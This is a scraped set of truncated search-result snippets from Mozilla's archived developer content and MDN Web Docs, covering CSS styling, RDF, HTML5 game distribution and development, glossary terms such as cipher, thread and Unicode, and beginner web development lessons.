mmendations in situations where authors must put a document into "quirks" mode but wish to enforce correct font inheritance into tables, use the demonstrated rule. related resources mozilla's doctype sniffing original document information author(s): eric a. meyer, netscape co
mmunications last updated date: published 26 nov 2002 copyright information: copyright © 2001-2003 netscape. ...
RDF in Fifty Words or Less - Archive of obsolete content
ssages, usenet news articles (or entire usenet news groups), and search results from your favorite web crawler, just to name a few. and fundamentally, there's no reason that you shouldn't be able to treat these as "bookmarks" as well, grouping them together into folders as you please, or maybe even creating "smart" folders that, when you open them, dynamically generate their contents by running co
mmon search that you define. and a "bookmark" could really have arbitrary properties associated with it: you might want to invent your own "classification" scheme for a bookmarka la macintosh's "hot", "warm", "cool" color coding. or you might want to relate a bookmark to another bookmark, or keep it in multiple "folders" at once. the rdf graph provides a perfect data model upon which to build a "u...
...kmark, or keep it in multiple "folders" at once. the rdf graph provides a perfect data model upon which to build a "universal" bookmarking service as described above: the graph can contain pointers to arbitrary resources and can group them in just about any way that you can imagine. but wait, there's more... second, rdf is a serialization syntax. this syntax allows the graph-like model to be co
mmunicated between "agents". okay, what the heck doesthat mean? fundamentally, it means that parts of the rdf data model can be co
mmunicated across network boundaries, and the contents of the graph can dynamically change as information arrives from a remote service. let's go back to our bookmark example. say that one of my bookmark "folders" is really a pointer to my email inbox: when i open that ...
Styling Abbreviations and Acronyms - Archive of obsolete content
see how you can take control of their presentation without sacrificing the benefits these elements provide. many authors are beginning to use the html elements abbr (abbreviation) and acronym in their web pages. ...
...inter over the element and leaving it for a moment will cause the contents of the title attribute to appear as a tooltip next to the mouse pointer. removing the underline from these elements will rob readers of an indication that there is extra information available. related links web content accessibility guidelines 1.0 original document information author(s): eric a. meyer, netscape co
mmunications last updated date: published 09 aug 2002 copyright information: copyright © 2001-2003 netscape. all rights reserved. note: this reprinted article was originally part of the devedge site. ...
Web Standards - Archive of obsolete content
ore types of internet devices. sites developed along these lines will continue to function correctly as traditional desktop browsers evolve, and as new internet devices come to market. [1] documentation migrate apps from internet explorer to mozilla ever have trouble getting your internet explorer-specific web applications to work with mozilla? this article covers co
mmon issues associated with migrating applications to the open source mozilla-based browser. using web standards in your web pages this article provides an overview of the process for upgrading the content of your web pages to conform to the w3c web standards. choosing standards compliance over proprietary practices in the development world, there is a need for standards because ...
...ndards compliance over proprietary practices in the development world, there is a need for standards because applications are designed across multiple development groups. the business benefits of web standards this article discusses how adhering to web standards, and leaving behind proprietary markup and technologies, can contribute to a company's business goals. co
mmunity view mozilla forums... mailing list newsgroup rss feed the web standards project webdev feedhouse other co
mmunity links... tools firebug extension web developer extension markup validation service (w3c) css validation service (w3c) examples mozilla 1.0 demos - showing off what can be ...
Game distribution - Game development
see native desktop, later on) and you should because it's good to diversify the platforms you support, but you have to remember that developers creating desktop games have years of experience, great tools and stable distribution channels. many html5 games will target different market segments than native desktop games, e.g. simple time killer games to be played while on the move rather than huge i
mmersive experiences. such games are often designed to be played with two, or even one finger, so you can hold the device, play the game and be able to use the second hand for whatever you currently need. saying this, desktop platforms can be used for distribution quite easily with the availability of wrappers that can help you prepare native builds of your game see packaging games. it's also nice ...
...ons are packaged with the webkit engine to provide rendering on any platform. other alternative tools are: intel xdk — an exciting alternative, similar to cocoonio. electron — known as atom shell — is an open-sourced and cross-platform tool from github. manifold.js — this tool from the microsoft team can create native distributions of html5 games from ios, android, and windows. su
mmary distribution is the way to give the world access to your game. there are many options available and there's no single good answer as to which is the best. when you've published the game it's time to focus on promotion — letting people know your game exists. without promotion, they wouldn't even be able to learn about it and play it. ...
Game monetization - Game development
ake more money from the merchandise than from the games themselves, but it only works on very popular and recognizable games like angry birds. still, it could be another small stream of passive income. the more diversified your earnings are, the better your business stability. ...
...it could be another small stream of passive income. the more diversified your earnings are, the better your business stability. donations when all else fails you can try putting a donate button on your game's page and asking for support from the co
mmunity. sometimes it works, but only if the player knows you and feels that it will help you in your situation. that's why carefully managing your co
mmunity is so important. it worked with the js13kgames competition — every participant got a free t-shirt, and some even gave back a few bucks to help keep it going in years to come. su
mmary there are many ways to earn money — everything that applies to the "normal" aaa gaming world can be, more or less, applied to casual html5 games. you might however also focus on selling licenses, doing bra...
2D collision detection - Game development
detect collision in 2d games depend on the type of shapes that can collide (e.g. rectangle to rectangle, rectangle to circle, circle to circle). generally you will have a simple generic shape that covers the entity known as a "hitbox" so even though collision may not be pixel perfect, it will look good enough and be performant across multiple entities. this article provides a review of the most co
mmon techniques used to provide collision detection in 2d games. axis-aligned bounding box one of the simpler forms of collision detection is between two rectangles that are axis aligned — meaning no rotation. the algorithm works by ensuring there is no gap between any of the 4 sides of the rectangles. any gap means a collision does not exist. var rect1 = {x: 5, y: 5, width: 50, height: 50} va...
...libraries. separating axis theorem this is a collision algorithm that can detect a collision between any two *convex* polygons. it's more complicated to implement than the above methods but is more powerful. the complexity of an algorithm like this means we will need to consider performance optimization, covered in the next section. ...
Building up a basic demo with A-Frame - Game development
mozilla's a-frame framework provides a markup language allowing us to build 3d vr landscapes using a system familiar to web developers, which follows game development coding principles; this is useful for quickly and successfully building prototypes and demos, without having to write a lot of javascript or glsl. this article explains how to get up and running with a-frame, and how to use it to build up a simple demo. ...
... your scene with it too. note: you can also check it out on github. that was easier than you thought, right? a-frame targets web developers by offering easy to use web markup and all the advantages that brings, such as javascript manipulation. it is easy to start with, but also provides a powerful api for advanced concepts, as well as dealing with cross browser differences and suchlike. the co
mmunity is growing, just like the number of supported vr devices — it's a great time to start experimenting with such frameworks. ...
Building up a basic demo with the PlayCanvas engine - Game development
that's quite an impressive list of features — let's see some in action. we will try putting together a simple demo first — a cube rendered on the screen. ...
...to the y axis on each frame, with a little bit of adjustment to make it look cooler. try changing the value to see how it affects the animation. conclusion here's the final code listing, along with a viewable live example: you can also see it on github and fork the repository if you want to play with it yourself locally. now you know the basics of playcanvas engine; happy experimentation! su
mmary now you can continue reading the playcanvas editor article, go back to the building up a basic demo with playcanvas page, or go back a level higher to the main 3d games on the web page. ...
Building up a basic demo with Three.js - Game development
a typical 3d scene in a game — even the simplest one — contains standard items like shapes located in a coordinate system, a camera to actually see them, lights and materials to make it look better, animations to make it look alive, etc. three.js, as with any other 3d library, provides built-in helper functions to help you implement co
mmon 3d functionality more quickly. in this article we'll take you through the real basics of using three, including setting up a development environment, structuring the necessary html, the fundamental objects of three, and how to build up a basic demo. note: we chose three because it is one of the most popular webgl libraries, and it is easy to get started with. we are not trying to say it is better than any other webgl library available, and you shoul...
...ts size to fit the whole available space on the screen, and appending the dom structure to the page. you might have noticed the antialias parameter in the first line — this renders the edges of shapes more smoothly. the setclearcolor() method sets our background to a light gray colour, instead of the default black one. add this code into our second <script> element, just below the javascript co
mment. scene a scene is the place where everything happens. when creating new objects in the demo, we add them all inside the scene to become visible on the screen. in three.js, the scene is represented by a scene object. let's create it, by adding the following line below our previous lines: var scene = new three.scene(); later, we will be using the .add() method, to add objects to this scene.
Visual JS GE - Game development
server is based on node.js vs mysql, the client made in four variant on a javascript frameworks for 2d canvas js , three.js , webgl2 vs glmatrix and 2d canvas with matter.js in typescript to complete the stack. installation and setup first of all download visual-js from bitbucket. extract the package into your root folder. installing modules navigate to server_instance/, then in the node.js co
mmand prompt or console enter the following installation co
mmands: npm install mysql npm install delivery npm install express npm install mkdirp npm install socket.io npm install nodemailer@0.7.0 setting up config.js you will find config.js in the server_instance folder: all node.js applications use the same folder — server_instance. some apps might need to have local storage, for instance, edi...
... tool will create visual.js in the starter/ directory along with all your game objects. it takes data from the system folder lib/visual_scripts/ and generates your code. resource js objects used for adding images for animation purposes. this is done using server_instance/res.js. you need to put your images in a folder, for example test_res/ , inside project_instance/res/. next, run the co
mmand server_instance/node res.js. after this has finished processing, restart the web page by entering the following in the console: resource.test_res. resource objects contain the path data for all your images. the actual image objects will be created after you add animation to the game objects. this is good because it is memory safe. visual js.exe windows gui freeware only for windows user...
ATAG - MDN Web Docs Glossary: Definitions of Web-related terms
atag (authoring tool accessibility guidelines) is a w3c reco
mmendation for building accessible-authoring tools that produce accessible contents. ...
... atag (authoring tool accessibility guidelines) is a w3c reco
mmendation for building accessible-authoring tools that produce accessible contents. ...
Cipher - MDN Web Docs Glossary: Definitions of Web-related terms
in cryptography, a cipher is an algorithm that can encode cleartext to make it unreadable, and to decode it back. ciphers were co
mmon long before the information age (e.g., substitution ciphers, transposition ciphers, and permutation ciphers), but none of them were cryptographically secure except for the one-time pad. modern ciphers are designed to withstand attacks discovered by a cryptanalyst. there is no guarantee that all attack methods have been discovered, but each algorithm is judged against known classes of attacks. ...
...iscovered by a cryptanalyst. there is no guarantee that all attack methods have been discovered, but each algorithm is judged against known classes of attacks. ciphers operate two ways, either as block ciphers on successive blocks, or buffers, of data, or as stream ciphers on a continuous data flow (often of sound or video). they also are classified according to how their keys are handled: sy
mmetric key algorithms use the same key to encode and decode a message. the key also must be sent securely if the message is to stay confidential. asy
mmetric key algorithms use a different key for encryption and decryption. ...
Cipher suite - MDN Web Docs Glossary: Definitions of Web-related terms
a cipher suite is a combination of a key exchange algorithm, authentication method, bulk encryption cipher, and message authentication code. in a cryptosystem like tls, the client and server must agree on a cipher suite before they can begin co
mmunicating securely. ...
...g securely. ...
Constant - MDN Web Docs Glossary: Definitions of Web-related terms
like variables, some constants are bound to identifiers. for example, the identifier pi could be bound to the value 3.14... . ...
... like variables, some constants are bound to identifiers. for example, the identifier pi could be bound to the value 3.14... . ...
Constructor - MDN Web Docs Glossary: Definitions of Web-related terms
essentially, a constructor in javascript is usually declared at the instance of a class. ...
... to call the constructor of the class in javascript, use a new operator to assign a new object reference to a variable. function default() { } // a new reference of a default object assigned to a // local variable defaultreference var defaultreference = new default(); learn more general knowledge constructor on wikipedia technical reference the constructor in object oriented progra
mming for javascript on mdn new operator in javascript on mdn ...
Delta - MDN Web Docs Glossary: Definitions of Web-related terms
the term delta refers to the difference between two values or states. the name originates from the greek letter Δ (delta), which is equivalent to the letter d in the roman alphabet. delta simply refers to the use of the letter Δ as a shorthand for difference. the term delta is co
mmonly used when co
mmunicating changes in speed, position, or acceleration of a physical or virtual object. it's also used when describing changes in the volume or frequency of sound waves. ...
... speed, position, or acceleration of a physical or virtual object. it's also used when describing changes in the volume or frequency of sound waves. for example, when describing how far an object on the screen moves left-to-right, one might use the term delta x or Δx. likewise, given the new value of x and its old value, you might compute the delta like this: let deltax = newx - oldx; more co
mmonly, you receive the delta and use it to update a saved previous condition: let newx = oldx + deltax; learn more technical reference mouse wheel events (wheelevent offer the amount the wheel moved since the last event in its deltax, deltay, and deltaz properties, for example. ...
OOP - MDN Web Docs Glossary: Definitions of Web-related terms
oop (object-oriented progra
mming) is an approach in progra
mming in which data is encapsulated within objects and the object itself is operated on, rather than its component parts. javascript is heavily object-oriented. it follows a prototype-based model (as opposed to class-based). ...
... oop (object-oriented progra
mming) is an approach in progra
mming in which data is encapsulated within objects and the object itself is operated on, rather than its component parts. javascript is heavily object-oriented. it follows a prototype-based model (as opposed to class-based). ...
Object - MDN Web Docs Glossary: Definitions of Web-related terms
object refers to a data structure containing data and instructions for working with the data. objects sometimes refer to real-world things, for example a car or map object in a racing game. ...
... object refers to a data structure containing data and instructions for working with the data. objects sometimes refer to real-world things, for example a car or map object in a racing game. ...
Primitive - MDN Web Docs Glossary: Definitions of Web-related terms
methods. there are 6 primitive data types: string, number, bigint, boolean, undefined, and symbol. there also is null, which is seemingly primitive, but indeed is a special case for every object: and any structured type is derived from null by the prototype chain. most of the time, a primitive value is represented directly at the lowest level of the language implementation. all primitives are i
mmutable, i.e., they cannot be altered. it is important not to confuse a primitive itself with a variable assigned a primitive value. the variable may be reassigned a new value, but the existing value can not be changed in the ways that objects, arrays, and functions can be altered. example this example will help you understand that primitive values are i
mmutable. javascript // using a string me...
...ctly. this is because of javascript's lexical scoping and the resulting variable shadowing. the local foo hides the external foo. for more information, see closures. (note that window.foo could still be used to access the external foo variable.) in conclusion, any changes inside our functions won't affect the original foo at all, as we are modifying copies of it that's why primitives are i
mmutable - instead of changing them directly, we're modifying a copy, without affecting the original. primitive wrapper objects in javascript except for null and undefined, all primitive values have object equivalents that wrap around the primitive values: string for the string primitive. number for the number primitive. bigint for the bigint primitive. boolean for the boolean primitive. sy...
Semantics - MDN Web Docs Glossary: Definitions of Web-related terms
would you need to look at the code to understand what the function did if it was called build('peach'), or createliwithcontent('peach')? semantics in css in css, consider styling a list with li elements representing different types of fruits. ...
... of related information?; does it list out definitions?; is it a figure or image that needs a caption?; should it have a header and a footer in addition to the global site-wide header and footer?; etc. semantic elements these are some of the roughly 100 semantic elements available: <article> <aside> <details> <figcaption> <figure> <footer> <header> <main> <mark> <nav> <section> <su
mmary> <time> learn more html element reference on mdn using html sections and outlines on mdn the meaning of semantics in computer science on wikipedia ...
Syntax - MDN Web Docs Glossary: Definitions of Web-related terms
syntax specifies the required combination and sequence of characters making up correctly structured code. syntax generally includes gra
mmar and the rules that apply to writing it, such as indentation requirements in python. syntax varies from language to language (e.g., syntax is different in html and javascript). although languages can share few similarities in terms of their syntaxes for example "operand operator operand" rule in javascript and python. this does not mean the two langauges share similarities with syntax. syntax applies both to progra
mming languages (co
mmands to the computer) and markup languages (document structure information) alike. syntax only governs ordering and structure; the instructions must also be meaningful, which is the province of semantics. code mu...
...r to compile correctly, otherwise a syntax error occurs. ...
Thread - MDN Web Docs Glossary: Definitions of Web-related terms
eb page or app. because these things are all happening in one thread, a slow website or app script slows down the entire browser; worse, if a site or app script enters an infinite loop, the entire browser will hang. this results in a frustrating, sluggish (or worse) user experience. however, modern javascript offers ways to create additional threads, each executing independently while possibly co
mmunicating between one another. this is done using technologies such as web workers, which can be used to spin off a sub-program which runs concurrently with the main thread in a thread of its own. this allows slow, complex, or long-running tasks to be executed independently of the main thread, preserving the overall performance of the site or app—as well as that of the browser overall. this also...
... ...
Unicode - MDN Web Docs Glossary: Definitions of Web-related terms
before unicode, it was difficult and error-prone to mix languages in the same data. for example, one character set would store japanese characters, and another would store the arabic alphabet. ...
...and another would store the arabic alphabet. if it was not clearly marked which parts of the data were in which character set, other programs and computers would display the text incorrectly, or damage it during processing. if you've ever seen text where characters like curly quotes (“”) were replaced with gibberish like £, then you've seen this problem, known as mojibake. the most co
mmon unicode character encoding on the web is utf-8. other encodings exist, like utf-16 or the obsolete ucs-2, but utf-8 is reco
mmended. learn more unicode on wikipedia the unicode standard: a technical introduction ...
World Wide Web - MDN Web Docs Glossary: Definitions of Web-related terms
the web is not the same as the internet: the web is one of many applications built on top of the internet. tim berners-lee proposed the architecture of what became known as the world wide web. he created the first web server, web browser, and webpage on his computer at the cern physics research lab in 1990. in 1991, he announced his creation on the alt.hypertext newsgroup, marking the moment the web was first made public. the system we know today as "the web" consists of several components: the http protocol governs data transfer between a server and a client. ...
...e system we know today as "the web" consists of several components: the http protocol governs data transfer between a server and a client. to access a web component, a client supplies a unique universal identifier, called a url (uniform resource location) or uri (uniform resource identifier) (formally called universal document identifier (udi)). html (hypertext markup language) is the most co
mmon format for publishing web documents. linking, or connecting resources through hyperlinks, is a defining concept of the web, aiding its identity as a collection of connected documents. soon after inventing the web, tim berners-lee founded the w3c (world wide web consortium) to standardize and develop the web further. this consortium consists of core web interest groups, such as web browser de...
Protocol - MDN Web Docs Glossary: Definitions of Web-related terms
a protocol is a system of rules that define how data is exchanged within or between computers. co
mmunications between devices require that the devices agree on the format of the data that is being exchanged. the set of rules that defines a format is called a protocol. ...
... a protocol is a system of rules that define how data is exchanged within or between computers. co
mmunications between devices require that the devices agree on the format of the data that is being exchanged. the set of rules that defines a format is called a protocol. ...
Assessment: Accessibility troubleshooting - Learn web development
that don't support html5 audio. how can you allow them to still access the audio? the forms the <input> element in the search form at the top could do with a label, but we don't want to add a visible text label that would potentially spoil the design and isn't really needed by sighted users. how can you add a label that is only accessible to screenreaders? the two <input> elements in the co
mment form have visible text labels, but they are not unambiguously associated with their labels — how do you achieve this? note that you'll need to update some of the css rule as well. the show/hide co
mment control the show/hide co
mment control button is not current keyboard-accessible. can you make it keyboard accessible, both in terms of focusing it using the tab key, and activating it using...
.../hide co
mment control the show/hide co
mment control button is not current keyboard-accessible. can you make it keyboard accessible, both in terms of focusing it using the tab key, and activating it using the return key? the table the data table is not currently very accessible — it is hard for screenreader users to associate data rows and columns together, and the table also has no kind of su
mmary to make it clear what it shows. can you add some features to your html to fix this problem? other considerations? can you list two more ideas for improvements that would make the website more accessible? assessment or further help if you would like your work assessed, or are stuck and want to ask for help: put your work into an online shareable editor such as codepen, jsfiddle, or glitc...
Fundamental CSS comprehension - Learn web development
es. call it something really imaginative like style.css. link your css to your html file via a <link> element. the first two rulesets in the css resource file are yours, for free! after you've finished rejoicing at your good fortune, copy and paste them into the top of your new css file. use them as a test to make sure your css is properly applied to your html. above the two rules, add a css co
mment with some text inside it to indicate that this is a set of general styles for the overall page. "general page styles" would do. also add three more co
mments at the bottom of the css file to indicate styles specific to the setup of the card container, styles specific to the header and footer, and styles specific to the main business card contents. from now on, subsequent styles added to the sty...
...pecific to the main business card contents. from now on, subsequent styles added to the stylesheet should be organized in an appropriate place. taking care of the selectors and rulesets provided in the css resource file: next up, we'd like you to look at the four selectors, and calculate the specificity for each one. write these down somewhere where they can be found later on, such as in a co
mment at the top of your css. now it's time to put the right selector on the right rule set! you've got four pairs of selector and ruleset to match in your css resources. do this now, and add them to your css file. you need to: give the main card container a fixed width/height, solid background color, border, and border-radius (rounded corners!), amongst other things. give the header a bac...
Handling different text directions - Learn web development
ally. the writing-mode property lets us switch from one writing mode to another. you don't need to be working in a language which uses a vertical writing mode to want to do this — you could also change the writing mode of parts of your layout for creative purposes. in the example below we have a heading displayed using writing-mode: vertical-rl. the text now runs vertically. vertical text is co
mmon in graphic design, and can be a way to add a more interesting look and feel to your web design. the three possible values for the writing-mode property are: horizontal-tb: top-to-bottom block flow direction. sentences run horizontally. vertical-rl: right-to-left block flow direction. sentences run vertically. vertical-lr: left-to-right block flow direction. sentences run vertically. s...
...n to the logical versions for most things, as they make a lot of sense once you start also dealing with layout methods such as flexbox and grid. test your skills! we have covered a lot in this article, but can you remember the most important information? you can find some further tests to verify that you've retained this information before you move on — see test your skills: writing modes. su
mmary the concepts explained in this lesson are becoming increasingly important in css. an understanding of the block and inline direction — and how text flow changes with a change in writing mode — will be very useful going forward. it will help you in understanding css even if you never use a writing mode other than a horizontal one. in the next module we will take a good look at overflow in...
Images, media, and form elements - Learn web development
d to make a decision about what happens with the overflow. in the example below we have two boxes, both 200 pixels in size: one contains an image which is smaller than 200 pixels — it is smaller than the box and doesn't stretch to fill it. the other is larger than 200 pixels and overflows the box. so what can we do about the overflowing issue? as we learned in our previous lesson, a co
mmon technique is to make the max-width of an image 100%. this will enable the image to become smaller in size than the box but not larger. this technique will work with other replaced elements such as <video>s, or <iframe>s. try adding max-width: 100% to the <img> element in the example above. you will see that the smaller image remains unchanged, but the larger one becomes smaller to fit into the...
...n on styling forms, take a look at the two articles in the html section of these guides. styling web forms advanced form styling test your skills! we have covered a lot in this article, but can you remember the most important information? you can find some further tests to verify that you've retained this information before you move on — see test your skills: images and form elements. su
mmary this lesson has highlighted some of the differences you will encounter when working with images, media, and other unusual elements in css. in the next article we'll look over a few tips you'll find useful when you have to style html tables. previous overview: building blocks next in this module cascade and inheritance css selectors type, class, and id selectors attribute s...
Overflowing content - Learn web development
. remove some content from the box below. notice how the scrollbars remain, even if there is no need for scrolling. in the example above, we only need to scroll on the y axis, however we get scrollbars in both axes. to just scroll on the y axis, you could use the overflow-y property, setting overflow-y: scroll. you can also scroll on the x axis using overflow-x, although this is not a reco
mmended way to acco
mmodate long words! if you have a long word in a small box, you might consider using the word-break or overflow-wrap properties. in addition, some of the methods discussed in sizing items in css may help you create boxes that scale better with varying amounts of content. as with scroll, you get a scrollbar in the scrolling dimension whether or not there is enough content to cau...
... ensure that your css works in a robust way. changing the value of overflow to hide content, or to add scrollbars, is likely to be reserved for a few select use cases. (for example, where you intend to have a scrolling box) test your skills! there is a lot to absorb from this lesson! can you remember the most important information? to check your understanding, see test your skills: overflow. su
mmary this lesson introduced the concept of overflow. you should understand that default css avoids making overflowing content invisible. you have discovered that you can manage potential overflow, and also, that you should test work to make sure it does not accidentally cause problematic overflow. previous overview: building blocks next in this module cascade and inheritance css sele...
Styling tables - Learn web development
first steps.) objective: to learn how to effectively style html tables. a typical html table let's start by looking at a typical html table. well, i say typical — most html table examples are about shoes, or the weather, or employees; we decided to make things more interesting by making it about famous punk bands from the uk. the markup looks like so: <table> <caption>a su
mmary of the uk's most famous punk bands</caption> <thead> <tr> <th scope="col">band</th> <th scope="col">year formed</th> <th scope="col">no. of albums</th> <th scope="col">most famous song</th> </tr> </thead> <tbody> <tr> <th scope="row">buzzcocks</th> <td>1976</td> <td>9</td> <td>ever fallen in love (with someone you shouldn't've)<...
...ebra striping to make alternative rows easier to read. use text-align to line up your <th> and <td> text, to make things neater and easier to follow. test your skills! we have covered a lot in this article, but can you remember the most important information? you can find some further tests to verify that you've retained this information before you move on — see test your skills: tables. su
mmary with styling tables now behind us, we need something else to occupy our time. the next article explores debugging css — how to solve problems such as layouts not looking like they should, or properties not applying when you think they should. this includes information on using browser devtools to find solutions to your problems. previous overview: building blocks next in this modu...
The box model - Learn web development
= 150px). by default, browsers use the standard box model. if you want to turn on the alternative model for an element you do so by setting box-sizing: border-box on it. by doing this you are telling the browser to take the border box as the area defined by any size you set. .box { box-sizing: border-box; } if you want all of your elements to use the alternative box model, and this is a co
mmon choice among developers, set the box-sizing property on the <html> element, then set all other elements to inherit that value, as seen in the snippet below. if you want to understand the thinking behind this, see the css tricks article on box-sizing. html { box-sizing: border-box; } *, *::before, *::after { box-sizing: inherit; } note: an interesting bit of history — internet explorer ...
... the rule with the .links-list a selector, and you will see how it fixes this issue by causing the padding to be respected by other elements. test your skills! we have covered a lot in this article, but can you remember the most important information? you can find some further tests to verify that you've retained this information before you move on — see test your skills: the box model. su
mmary that's most of what you need to understand about the box model. you may want to return to this lesson in the future if you ever find yourself confused about how big boxes are in your layout. in the next lesson, we will take a look at how backgrounds and borders can be used to make your plain boxes look more interesting. previous overview: building blocks next in this module casc...
Practical positioning examples - Learn web development
o build some real world examples to illustrate what kinds of things you can do with positioning. prerequisites: html basics (study introduction to html), and an idea of how css works (study introduction to css.) objective: to get an idea of the practicalities of positioning a tabbed info-box the first example we'll look at is a classic tabbed info box — a very co
mmon feature used when you want to pack a lot of information into a small area. this includes information-heavy apps like strategy/war games, mobile versions of websites where the screen is narrow and space is limited, and compact information boxes where you might want to make lots of information available without having it fill the whole ui. our simple example will look like this once we are finish...
...ave some concerns — this is a bit of an abuse of form elements, as they weren't intended for this purpose. in addition, the effect is not great in terms of accessibility; the label is not focusable by default, and the non-semantic use of the form elements could cause issues with screen readers. javascript and a link or button might be more appropriate, but it is still fun to experiment with. su
mmary so that rounds off our look at positioning — by now, you should have an idea of how the basic mechanics work, as well as understanding how to start applying these to build some interesting ui features. don't worry if you didn't get this all i
mmediately — positioning is a fairly advanced topic, and you can always work through the articles again to aid your understanding. the next subject w...
create fancy boxes - Learn web development
ding : 80px 1em 0 1em; /* we make room for the "ears" of our cloud */ margin : 0 100px; position: relative; background-color: #a4c9cf; /* well, actually we are not making a full circle as we want the bottom of our cloud to be flat. feel free to tweak this example to make a cloud that isn't flat at the bottom ;) */ border-radius: 100% 100% 0 0; } /* those are co
mmon style that apply to both our ::before and ::after pseudo elements. */ .fancy::before, .fancy::after { /* this is required to be allowed to display the pseudo-elements, event if the value is an empty string */ content: ''; /* we positionnate our pseudo-elements on the left and right sides of the box, but always at the bottom */ position: absolute; bottom : 0; /* ...
...ng pseudo-elements is to build a nice formatting for html <blockquote> elements. so let's see an example with a slightly different html snippet (which provide us an opportunity to see how to also handle design localization): <blockquote>people who think they know everything are a great annoyance to those of us who do. <i>isaac asimov</i></blockquote> <blockquote lang="fr">l'intelligence, c'est co
mme les parachutes, quand on n'en a pas, on s'écrase. <i>pierre desproges</i></blockquote> so here comes our style: blockquote { min-height: 5em; padding : 1em 4em; font : 1em/150% sans-serif; position : relative; background-color: lightgoldenrodyellow; } blockquote::before, blockquote::after { position: absolute; height : 3rem; font : 6rem/100% georgia, "times new ro...
What text editors are available? - Learn web development
in this article we highlight some things to think about when installing a text editor for web development. prerequisites: you should already know about various software you need to build a website. objective: learn how to choose a text editor that best suits your needs as a web developer. su
mmary a website consists mostly of text files, so for a fun, pleasant development experience you should choose your text editor wisely. the sheer number of choices is a bit overwhelming, since a text editor is so basic to computer science (yes, web development is computer science). ideally, you'd try as many editors as you can and get a feel for what suits your workflow. but we'll give you some pointers for getting started. here are the primary questions you should co...
...you will learn more about customizing your editors and tools as you gain experience, and more importantly you will learn what features are more useful to...
How do you make sure your website works properly? - Learn web development
demozilla.examplehostingprovider.net/. it's not showing the image we expected! open firefox's network tool (tools ➤ web developer ➤ network) and reload the page: there's the problem, that "404" at the bottom. "404" means "resource not found", and that's why we didn't see the image. http statuses servers respond with a status message whenever they receive a request. here are the most co
mmon statuses: 200: ok the resource you asked for was delivered. 301: moved permanently the resource has moved to a new location. you won't see this much in your browser, but it's good to know about "301" since search engines use this information a lot to update their indexes. 304: not modified the file has not changed since the last time you asked for it, so your browser can display the ve...
...e from loading but you will feel something went wrong. open the console (tools ➤ web developer ➤ web console) and reload the page: in this example, we learn (quite clearly) what the error is, and we can go fix it (we will cover javascript in another series of articles). more things to check we have listed a few simple ways to check that your website works properly, as well as the most co
mmon errors you may run across and how to fix them. you can also test if your page meets these criteria: how's the performance? does the page load fast enough? resources like webpagetest.org or browser add-ons like yslow can tell you a few interesting things: grades go from a to f. our page is just small and meets most criteria. but we can already note it would have been better to use a cdn. th...
How does the Internet work? - Learn web development
this article discusses what the internet is and how it works. prerequisites: none, but we encourage you to read the article on setting project goals first objective: you will learn the basics of the technical infrastructure of the web and the difference between internet and the web. su
mmary the internet is the backbone of the web, the technical infrastructure that makes the web possible. at its most basic, the internet is a large network of computers which co
mmunicate all together. the history of the internet is somewhat obscure. it began in the 1960s as a us-army-funded research project, then evolved into a public infrastructure in the 1980s with the support of many public universities and private companies. the various technologies that support the inte...
...ed that much: internet is a way to connect computers all together and ensure that, whatever happens, they find a way to stay connected. active learning how the internet works in 5 minutes: a 5 minute video to understand the very basics of internet by aaron titus. how does the internet work? detailed well visualized 8 minute video. deeper dive a simple network when two computers need to co
mmunicate, you have to link them, either physically (usually with an ethernet cable) or wirelessly (for example with wifi or bluetooth systems). all modern computers can sustain any of those connections. note: for the rest of this article, we will only talk about physical cables, but wireless networks work the same. such a network is not limited to two computers. you can connect as many comput...
What is the difference between webpage, website, web server, and search engine? - Learn web development
various web-related concepts: web pages, websites, web servers, and search engines. these terms are often confused by newcomers to the web or are incorrectly used. let's learn what they each mean! prerequisites: you should know how the internet works. objective: be able to describe the differences between a web page, a website, a web server, and a search engine. su
mmary as with any area of knowledge, the web comes with a lot of jargon. don't worry, we won't overwhelm you with all of it (we have a glossary if you're curious). however, there are a few basic terms you need to understand at the outset, since you'll hear these expressions all the time as you read on. it's easy to confuse these terms sometimes since they refer to related but different functionalit...
...s not responding and therefore the website is not available. more importantly, since a web server can host multiple websites, the term web server is never used to designate a website, as it could cause great confusion. in our previous example, if we said, "my web server is not responding", it means that multiple websites on that web server are not available. search engine search engines are a co
mmon source of confusion on the web. a search engine is a special kind of website that helps users find web pages from other websites. there are plenty out there: google, bing, yandex, duckduckgo, and many more. some are generic, some are specialized about certain topics. use whichever you prefer. many beginners on the web confuse search engines and browsers. let's make it clear: a browser is a pi...
What is accessibility? - Learn web development
in this article we give general accessibility principles and explain a few rules. active learning there is no active learning available yet. dig deeper accessibility: general principles we might associate accessibility at first with negative limitations. ...
...ific context of the web, accessibility means that anyone can benefit from your content, regardless of disability, location, technical limitations, or other circumstances. let's consider video: hearing impairment how does a hearing-impaired person benefit from a video? you have to provide subtitles —or even better, a full text transcript. also, make sure people can adjust the volume to acco
mmodate their unique needs. visual impairment again, provide a text transcript that a user can consult without needing to play the video, and an audio-description (an off-screen voice that describes what is happening in the video). pausing capacity users may have trouble understanding someone in a video. let them pause the video to read the subtitles or process the information. keyboard capacit...
What software do I need to build a website? - Learn web development
in this article we lay out which software components you need when you're editing, uploading, or viewing a website. prerequisites: you should already know the difference between webpages, websites, web servers, and search engines. objective: learn which software components you need if you want to edit, upload, or view a website. su
mmary you can download most of the programs you need for web development for free. we'll provide a few links in this article. you'll need tools to: create and edit webpages upload files to your web server view your website nearly all operating systems by default include a text editor and a browser, which you can use to view websites. as a result, you usually only need to acquire software for transferring files to y...
...ers only run on certain operating systems. apple safari runs on ios and mac os, while internet explorer runs only on windows. it's best to take advantage of services like browsershots or browserstack. browsershots furnishes screenshots of your website as it will look in various browsers. browserstack actually gives you full remote access to virtual machines so you can test your site in the most co
mmon environments. alternatively, you can set up your own virtual machine, but that takes some expertise. (if you're going that route, microsoft has some tools for developers including a ready-to-use virtual machine at modern.ie.) by all means run some tests on a real device, especially on real mobile devices. mobile device simulation is a new, evolving technology and less reliable than desktop sim...
Advanced form styling - Learn web development
you have no choice but to rely on javascript. in the article how to build custom form controls you will see how to do it on your own, but there are some very useful libraries out there that can help you: uni-form is a framework that standardizes form markup, styling it with css. it also offers a few additional features when used with jquery, but that's optional. formalize is an extension to co
mmon javascript frameworks (such as jquery, dojo, yui, etc.) that helps to normalize and customize your forms. niceforms is a standalone javascript method that provides complete customization of web forms. you can use some of the built in themes, or create your own. the following libraries aren't just about forms, but they have very interesting features for dealing with html forms: jquery ui o...
...the end of this article, but can you remember the most important information? you can find some further tests to verify that you've retained this information before you move on — see test your skills: advanced styling. bear in mind that some questions in this assessment series assume knowledge of the next article too, so you might want to work through that article first before attempting it. su
